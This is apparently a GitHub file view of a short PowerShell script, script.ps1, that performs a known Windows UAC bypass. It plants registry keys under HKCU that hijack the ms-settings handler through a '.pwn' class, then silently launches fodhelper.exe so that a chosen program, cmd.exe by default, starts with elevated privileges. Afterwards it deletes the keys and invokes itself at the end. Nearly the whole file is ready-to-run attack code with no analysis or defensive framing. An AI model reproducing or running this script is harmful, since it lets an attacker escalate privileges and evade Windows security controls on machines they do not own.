-
Notifications
You must be signed in to change notification settings - Fork 0
/
script.ps1
46 lines (39 loc) · 1.42 KB
/
script.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
function Check-System {
$osVersion = (Get-WmiObject -Class Win32_OperatingSystem).Version
if ($osVersion -ge "10.0") {
return $true
} else {
return $false
}
}
function Bypass {
Param (
[String]$program = "cmd /c start cmd.exe"
)
if (-not (Check-System)) {
$osName = (Get-WmiObject -Class Win32_OperatingSystem).Caption
Write-Error "Not applicable on $osName"
return
}
try {
# Create registry keys and set values
New-Item "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Force | Out-Null
Set-ItemProperty "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Name "(default)" -Value $program -Force
New-Item -Path "HKCU:\Software\Classes\ms-settings\CurVer" -Force | Out-Null
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\CurVer" -Name "(default)" -Value ".pwn" -Force
# Start fodhelper.exe to trigger the UAC bypass
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
# Give it a few seconds to execute
Start-Sleep 3
}
catch {
Write-Error "An error occurred: $_"
}
finally {
# Clean up the registry
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force -ErrorAction SilentlyContinue
Remove-Item "HKCU:\Software\Classes\.pwn\" -Recurse -Force -ErrorAction SilentlyContinue
}
}
# Run the function
Bypass